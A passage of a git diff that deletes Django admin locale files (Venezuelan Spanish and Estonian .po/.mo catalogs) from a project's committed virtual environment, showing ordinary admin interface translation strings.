personal. Observe que ambos campos pueden ser sensibles a mayúsculas." - -msgid "Action:" -msgstr "Acción:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Añadir otro %(verbose_name)s." - -msgid "Remove" -msgstr "Eliminar" - -msgid "action time" -msgstr "hora de la acción" - -msgid "user" -msgstr "usuario" - -msgid "content type" -msgstr "tipo de contenido" - -msgid "object id" -msgstr "id del objeto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr del objeto" - -msgid "action flag" -msgstr "marca de acción" - -msgid "change message" -msgstr "mensaje de cambio" - -msgid "log entry" -msgstr "entrada de registro" - -msgid "log entries" -msgstr "entradas de registro" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "Añadidos \"%(object)s\"." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "Cambiados \"%(object)s\" - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "Eliminado \"%(object)s.\"" - -msgid "LogEntry Object" -msgstr "Objeto LogEntry" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "Agregado {name} \"{object}\"." - -msgid "Added." -msgstr "Añadido." - -msgid "and" -msgstr "y" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "Modificado {fields} por {name} \"{object}\"." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Modificado {fields}." - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "Eliminado {name} \"{object}\"." - -msgid "No fields changed." -msgstr "No ha cambiado ningún campo." - -msgid "None" -msgstr "Ninguno" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" -"Mantenga presionado \"Control\" o \"Command\" en un Mac, para seleccionar " -"más de una opción." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" -"El {name} \"{obj}\" fue agregado satisfactoriamente. Puede editarlo " -"nuevamente a continuación. " - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" -"El {name} \"{obj}\" fue agregado satisfactoriamente. Puede agregar otro " -"{name} a continuación. " - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "El {name} \"{obj}\" fue cambiado satisfactoriamente." - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" -"El {name} \"{obj}\" fue cambiado satisfactoriamente. Puede editarlo " -"nuevamente a continuación. " - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" -"El {name} \"{obj}\" fue cambiado satisfactoriamente. Puede agregar otro " -"{name} a continuación." - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "El {name} \"{obj}\" fue cambiado satisfactoriamente." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Se deben seleccionar elementos para poder realizar acciones sobre estos. No " -"se han modificado elementos." - -msgid "No action selected." -msgstr "No se seleccionó ninguna acción." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "Se eliminó con éxito el %(name)s \"%(obj)s\"." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "%(name)s con ID \"%(key)s\" no existe. ¿Tal vez fue eliminada?" - -#, python-format -msgid "Add %s" -msgstr "Añadir %s" - -#, python-format -msgid "Change %s" -msgstr "Modificar %s" - -msgid "Database error" -msgstr "Error en la base de datos" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s fué modificado con éxito." -msgstr[1] "%(count)s %(name)s fueron modificados con éxito." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s seleccionado" -msgstr[1] "%(total_count)s seleccionados en total" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 de %(cnt)s seleccionado" - -#, python-format -msgid "Change history: %s" -msgstr "Histórico de modificaciones: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"La eliminación de %(class_name)s %(instance)s requeriría eliminar los " -"siguientes objetos relacionados protegidos: %(related_objects)s" - -msgid "Django site admin" -msgstr "Sitio de administración de Django" - -msgid "Django administration" -msgstr "Administración de Django" - -msgid "Site administration" -msgstr "Sitio de administración" - -msgid "Log in" -msgstr "Iniciar sesión" - -#, python-format -msgid "%(app)s administration" -msgstr "Administración de %(app)s " - -msgid "Page not found" -msgstr "Página no encontrada" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Lo sentimos, pero no se encuentra la página solicitada." - -msgid "Home" -msgstr "Inicio" - -msgid "Server error" -msgstr "Error del servidor" - -msgid "Server error (500)" -msgstr "Error del servidor (500)" - -msgid "Server Error (500)" -msgstr "Error de servidor (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ha habido un error. Ha sido comunicado al administrador del sitio por correo " -"electrónico y debería solucionarse a la mayor brevedad. Gracias por su " -"paciencia y comprensión." - -msgid "Run the selected action" -msgstr "Ejecutar la acción seleccionada" - -msgid "Go" -msgstr "Ir" - -msgid "Click here to select the objects across all pages" -msgstr "Pulse aquí para seleccionar los objetos a través de todas las páginas" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Seleccionar todos los %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Limpiar selección" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Primero introduzca un nombre de usuario y una contraseña. Luego podrá editar " -"el resto de opciones del usuario." - -msgid "Enter a username and password." -msgstr "Ingrese un nombre de usuario y contraseña" - -msgid "Change password" -msgstr "Cambiar contraseña" - -msgid "Please correct the error below." -msgstr "Por favor, corrija el siguiente error." - -msgid "Please correct the errors below." -msgstr "Por favor, corrija los siguientes errores." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Ingrese una nueva contraseña para el usuario %(username)s." - -msgid "Welcome," -msgstr "Bienvenido," - -msgid "View site" -msgstr "Ver el sitio" - -msgid "Documentation" -msgstr "Documentación" - -msgid "Log out" -msgstr "Terminar sesión" - -#, python-format -msgid "Add %(name)s" -msgstr "Añadir %(name)s" - -msgid "History" -msgstr "Histórico" - -msgid "View on site" -msgstr "Ver en el sitio" - -msgid "Filter" -msgstr "Filtro" - -msgid "Remove from sorting" -msgstr "Elimina de la ordenación" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioridad de la ordenación: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Activar la ordenación" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar el %(object_name)s '%(escaped_object)s' provocaría la eliminación " -"de objetos relacionados, pero su cuenta no tiene permiso para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Eliminar el %(object_name)s %(escaped_object)s requeriría eliminar los " -"siguientes objetos relacionados protegidos:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"¿Está seguro de que quiere borrar los %(object_name)s \"%(escaped_object)s" -"\"? Se borrarán los siguientes objetos relacionados:" - -msgid "Objects" -msgstr "Objetos" - -msgid "Yes, I'm sure" -msgstr "Sí, Yo estoy seguro" - -msgid "No, take me back" -msgstr "No, llévame atrás" - -msgid "Delete multiple objects" -msgstr "Eliminar múltiples objetos" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Eliminar el %(objects_name)s seleccionado resultaría en el borrado de " -"objetos relacionados, pero su cuenta no tiene permisos para borrar los " -"siguientes tipos de objetos:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Eliminar el %(objects_name)s seleccionado requeriría el borrado de los " -"siguientes objetos protegidos relacionados:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"¿Está usted seguro que quiere eliminar el %(objects_name)s seleccionado? " -"Todos los siguientes objetos y sus elementos relacionados serán borrados:" - -msgid "Change" -msgstr "Modificar" - -msgid "Delete?" -msgstr "¿Eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Por %(filter_title)s " - -msgid "Summary" -msgstr "Resumen" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modelos en la aplicación %(name)s" - -msgid "Add" -msgstr "Añadir" - -msgid "You don't have permission to edit anything." -msgstr "No tiene permiso para editar nada." - -msgid "Recent actions" -msgstr "Acciones recientes" - -msgid "My actions" -msgstr "Mis acciones" - -msgid "None available" -msgstr "Ninguno disponible" - -msgid "Unknown content" -msgstr "Contenido desconocido" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Algo va mal con la instalación de la base de datos. Asegúrese de que las " -"tablas necesarias han sido creadas, y de que la base de datos puede ser " -"leída por el usuario apropiado." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Se ha autenticado como %(username)s, pero no está autorizado a acceder a " -"esta página. ¿Desea autenticarse con una cuenta diferente?" - -msgid "Forgotten your password or username?" -msgstr "¿Ha olvidado la contraseña o el nombre de usuario?" - -msgid "Date/time" -msgstr "Fecha/hora" - -msgid "User" -msgstr "Usuario" - -msgid "Action" -msgstr "Acción" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Este objeto no tiene histórico de cambios. Probablemente no fue añadido " -"usando este sitio de administración." - -msgid "Show all" -msgstr "Mostrar todo" - -msgid "Save" -msgstr "Guardar" - -msgid "Popup closing..." -msgstr "Ventana emergente cerrando..." - -#, python-format -msgid "Change selected %(model)s" -msgstr "Cambiar %(model)s seleccionado" - -#, python-format -msgid "Add another %(model)s" -msgstr "Añadir otro %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Eliminar %(model)s seleccionado" - -msgid "Search" -msgstr "Buscar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resultado" -msgstr[1] "%(counter)s resultados" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s total" - -msgid "Save as new" -msgstr "Guardar como nuevo" - -msgid "Save and add another" -msgstr "Guardar y añadir otro" - -msgid "Save and continue editing" -msgstr "Guardar y continuar editando" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Gracias por el tiempo que ha dedicado hoy al sitio web." - -msgid "Log in again" -msgstr "Iniciar sesión de nuevo" - -msgid "Password change" -msgstr "Cambio de contraseña" - -msgid "Your password was changed." -msgstr "Su contraseña ha sido cambiada." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por favor, ingrese su contraseña antigua, por seguridad, y después " -"introduzca la nueva contraseña dos veces para verificar que la ha escrito " -"correctamente." - -msgid "Change my password" -msgstr "Cambiar mi contraseña" - -msgid "Password reset" -msgstr "Restablecer contraseña" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Su contraseña ha sido establecida. Ahora puede seguir adelante e iniciar " -"sesión." - -msgid "Password reset confirmation" -msgstr "Confirmación de restablecimiento de contraseña" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Por favor, ingrese su contraseña nueva dos veces para verificar que la ha " -"escrito correctamente." - -msgid "New password:" -msgstr "Contraseña nueva:" - -msgid "Confirm password:" -msgstr "Confirme contraseña:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"El enlace de restablecimiento de contraseña era inválido, seguramente porque " -"se haya usado antes. Por favor, solicite un nuevo restablecimiento de " -"contraseña." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Le hemos enviado por correo electrónico las instrucciones para restablecer " -"la contraseña, si es que existe una cuenta con la dirección electrónica que " -"indicó. Debería recibirlas en breve." - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si no recibe un correo, por favor, asegúrese de que ha introducido la " -"dirección de correo con la que se registró y verifique su carpeta de correo " -"no deseado o spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Ha recibido este correo electrónico porque ha solicitado restablecer la " -"contraseña para su cuenta en %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Por favor, vaya a la página siguiente y escoja una nueva contraseña." - -msgid "Your username, in case you've forgotten:" -msgstr "Su nombre de usuario, en caso de haberlo olvidado:" - -msgid "Thanks for using our site!" -msgstr "¡Gracias por usar nuestro sitio!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "El equipo de %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"¿Ha olvidado su clave? Ingrese su dirección de correo electrónico a " -"continuación y le enviaremos las instrucciones para establecer una nueva." - -msgid "Email address:" -msgstr "Correo electrónico:" - -msgid "Reset my password" -msgstr "Restablecer mi contraseña" - -msgid "All dates" -msgstr "Todas las fechas" - -#, python-format -msgid "Select %s" -msgstr "Escoja %s" - -#, python-format -msgid "Select %s to change" -msgstr "Escoja %s a modificar" - -msgid "Date:" -msgstr "Fecha:" - -msgid "Time:" -msgstr "Hora:" - -msgid "Lookup" -msgstr "Buscar" - -msgid "Currently:" -msgstr "Actualmente:" - -msgid "Change:" -msgstr "Cambiar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 6cc05198..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.po deleted file mode 100644 index 1ab4dcd2..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/es_VE/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,222 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Eduardo , 2017 -# FIRST AUTHOR , 2012 -# Hotellook, 2014 -# Leonardo J. Caballero G. , 2016 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-20 03:01+0000\n" -"Last-Translator: Eduardo \n" -"Language-Team: Spanish (Venezuela) (http://www.transifex.com/django/django/" -"language/es_VE/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: es_VE\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Disponibles %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta es la lista de %s disponibles. Puede elegir algunos seleccionándolos en " -"la caja inferior y luego haciendo clic en la flecha \"Elegir\" que hay entre " -"las dos cajas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Escriba en este cuadro para filtrar la lista de %s disponibles." - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Seleccione todos" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Haga clic para seleccionar todos los %s de una vez." - -msgid "Choose" -msgstr "Elegir" - -msgid "Remove" -msgstr "Eliminar" - -#, javascript-format -msgid "Chosen %s" -msgstr "Elegidos %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta es la lista de los %s elegidos. Puede eliminar algunos seleccionándolos " -"en la caja inferior y luego haciendo clic en la flecha \"Eliminar\" que hay " -"entre las dos cajas." - -msgid "Remove all" -msgstr "Eliminar todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Haga clic para eliminar todos los %s elegidos." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s seleccionado" -msgstr[1] "%(sel)s de %(cnt)s seleccionados" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Tiene cambios sin guardar en campos editables individuales. Si ejecuta una " -"acción, los cambios no guardados se perderán." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" -"Ha seleccionado una acción, pero no ha guardado los cambios en los campos " -"individuales todavía. Pulse OK para guardar. Tendrá que volver a ejecutar la " -"acción." - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ha seleccionado una acción y no ha hecho ningún cambio en campos " -"individuales. Probablemente esté buscando el botón Ejecutar en lugar del " -"botón Guardar." - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Usted esta a %s hora por delante de la hora del servidor." -msgstr[1] "Nota: Usted esta a %s horas por delante de la hora del servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Usted esta a %s hora de retraso de la hora de servidor." -msgstr[1] "Nota: Usted esta a %s horas por detrás de la hora del servidor." - -msgid "Now" -msgstr "Ahora" - -msgid "Choose a Time" -msgstr "Elija una Hora" - -msgid "Choose a time" -msgstr "Elija una hora" - -msgid "Midnight" -msgstr "Medianoche" - -msgid "6 a.m." -msgstr "6 a.m." - -msgid "Noon" -msgstr "Mediodía" - -msgid "6 p.m." -msgstr "6 p.m." - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoy" - -msgid "Choose a Date" -msgstr "Elija una fecha" - -msgid "Yesterday" -msgstr "Ayer" - -msgid "Tomorrow" -msgstr "Mañana" - -msgid "January" -msgstr "Enero" - -msgid "February" -msgstr "Febrero" - -msgid "March" -msgstr "Marzo" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Mayo" - -msgid "June" -msgstr "Junio" - -msgid "July" -msgstr "Julio" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Septiembre" - -msgid "October" -msgstr "Octubre" - -msgid "November" -msgstr "Noviembre" - -msgid "December" -msgstr "Diciembre" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "L" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "M" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "M" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "J" - -msgctxt "one letter Friday" -msgid "F" -msgstr "V" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" - -msgid "Show" -msgstr "Mostrar" - -msgid "Hide" -msgstr "Esconder" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.mo deleted file mode 100644 index 3a53a257..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.po deleted file mode 100644 index 54d4f322..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/et/LC_MESSAGES/django.po +++ /dev/null @@ -1,786 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# eallik , 2011 -# Erlend Eelmets , 2020 -# Jannis Leidel , 2011 -# Janno Liivak , 2013-2015 -# Martin , 2015,2022-2025 -# Martin , 2016,2019-2020 -# Marti Raudsepp , 2016 -# Ragnar Rebase , 2019 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Martin , 2015,2022-2025\n" -"Language-Team: Estonian (http://app.transifex.com/django/django/language/" -"et/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: et\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Kustuta valitud %(verbose_name_plural)s" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s kustutamine õnnestus." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Ei saa kustutada %(name)s" - -msgid "Delete multiple objects" -msgstr "Kustuta mitu objekti" - -msgid "Administration" -msgstr "Administreerimine" - -msgid "All" -msgstr "Kõik" - -msgid "Yes" -msgstr "Jah" - -msgid "No" -msgstr "Ei" - -msgid "Unknown" -msgstr "Tundmatu" - -msgid "Any date" -msgstr "Suvaline kuupäev" - -msgid "Today" -msgstr "Täna" - -msgid "Past 7 days" -msgstr "Viimased 7 päeva" - -msgid "This month" -msgstr "Käesolev kuu" - -msgid "This year" -msgstr "Käesolev aasta" - -msgid "No date" -msgstr "Kuupäev puudub" - -msgid "Has date" -msgstr "Kuupäev olemas" - -msgid "Empty" -msgstr "Tühi" - -msgid "Not empty" -msgstr "Täidetud" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Palun sisestage personali kontole õige %(username)s ja parool. Teadke, et " -"mõlemad väljad võivad olla tõstutundlikud." - -msgid "Action:" -msgstr "Toiming:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Lisa veel üks %(verbose_name)s" - -msgid "Remove" -msgstr "Eemalda" - -msgid "Addition" -msgstr "Lisamine" - -msgid "Change" -msgstr "Muuda" - -msgid "Deletion" -msgstr "Kustutamine" - -msgid "action time" -msgstr "toimingu aeg" - -msgid "user" -msgstr "kasutaja" - -msgid "content type" -msgstr "sisutüüp" - -msgid "object id" -msgstr "objekti id" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "objekti esitus" - -msgid "action flag" -msgstr "toimingu lipp" - -msgid "change message" -msgstr "muudatuse tekst" - -msgid "log entry" -msgstr "logisissekanne" - -msgid "log entries" -msgstr "logisissekanded" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Lisati “%(object)s”." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Muudeti “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Kustutati “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Objekt LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Lisati {name} “{object}”." - -msgid "Added." -msgstr "Lisatud." - -msgid "and" -msgstr "ja" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Muudeti {fields} -> {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Muudetud {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Kustutati {name} “{object}”." - -msgid "No fields changed." -msgstr "Ühtegi välja ei muudetud." - -msgid "None" -msgstr "Puudub" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "Hoia all “Control” või “Command” Macil, et valida rohkem kui üks." - -msgid "Select this object for an action - {}" -msgstr "Vali toiminguks käesolev objekt - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} “{obj}” lisamine õnnestus." - -msgid "You may edit it again below." -msgstr "Võite seda uuesti muuta." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} “{obj}” lisamine õnnestus. Allpool saate lisada järgmise {name}." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} “{obj}” muutmine õnnestus. Allpool saate seda uuesti muuta." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "{name} ”{obj}” muutmine õnnestus. Allpool saate lisada uue {name}." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} “{obj}” muutmine õnnestus." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Palun märgistage elemendid, millega soovite toiminguid sooritada. Ühtegi " -"elementi ei muudetud." - -msgid "No action selected." -msgstr "Toiming valimata." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s “%(obj)s” kustutamine õnnestus." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s ID-ga “%(key)s” ei eksisteeri. Võib-olla on see kustutatud?" - -#, python-format -msgid "Add %s" -msgstr "Lisa %s" - -#, python-format -msgid "Change %s" -msgstr "Muuda %s" - -#, python-format -msgid "View %s" -msgstr "Vaata %s" - -msgid "Database error" -msgstr "Andmebaasi viga" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s muutmine õnnestus." -msgstr[1] "%(count)s %(name)s muutmine õnnestus." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s valitud" -msgstr[1] "Kõik %(total_count)s valitud" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "valitud 0/%(cnt)s" - -msgid "Delete" -msgstr "Kustuta" - -#, python-format -msgid "Change history: %s" -msgstr "Muudatuste ajalugu: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Et kustutada %(class_name)s %(instance)s, on vaja kustutada järgmised " -"kaitstud seotud objektid: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django administreerimisliides" - -msgid "Django administration" -msgstr "Django administreerimisliides" - -msgid "Site administration" -msgstr "Saidi administreerimine" - -msgid "Log in" -msgstr "Sisene" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s administreerimine" - -msgid "Page not found" -msgstr "Lehte ei leitud" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Vabandame, kuid soovitud lehte ei leitud." - -msgid "Home" -msgstr "Kodu" - -msgid "Server error" -msgstr "Serveri viga" - -msgid "Server error (500)" -msgstr "Serveri viga (500)" - -msgid "Server Error (500)" -msgstr "Serveri Viga (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Ilmnes viga. Sellest on e-posti teel teavitatud lehe administraatorit ja " -"viga parandatakse esimesel võimalusel. Täname kannatlikkuse eest." - -msgid "Run the selected action" -msgstr "Käivita valitud toiming" - -msgid "Go" -msgstr "Mine" - -msgid "Click here to select the objects across all pages" -msgstr "Kliki siin, et märgistada objektid üle kõigi lehekülgede" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Märgista kõik %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Tühjenda valik" - -msgid "Breadcrumbs" -msgstr "Lingirivi" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Rakenduse %(name)s moodulid" - -msgid "Model name" -msgstr "Mudeli nimi" - -msgid "Add link" -msgstr "Lisa link" - -msgid "Change or view list link" -msgstr "" - -msgid "Add" -msgstr "Lisa" - -msgid "View" -msgstr "Vaata" - -msgid "You don’t have permission to view or edit anything." -msgstr "Teil pole õigust midagi vaadata ega muuta." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "Pärast kasutaja loomist saate muuta täiendavaid kasutajaandmeid." - -msgid "Error:" -msgstr "Viga:" - -msgid "Change password" -msgstr "Muuda salasõna" - -msgid "Set password" -msgstr "Määra parool" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Palun parandage allolev viga." -msgstr[1] "Palun parandage allolevad vead." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Sisestage uus salasõna kasutajale %(username)s" - -msgid "" -"This action will enable password-based authentication for " -"this 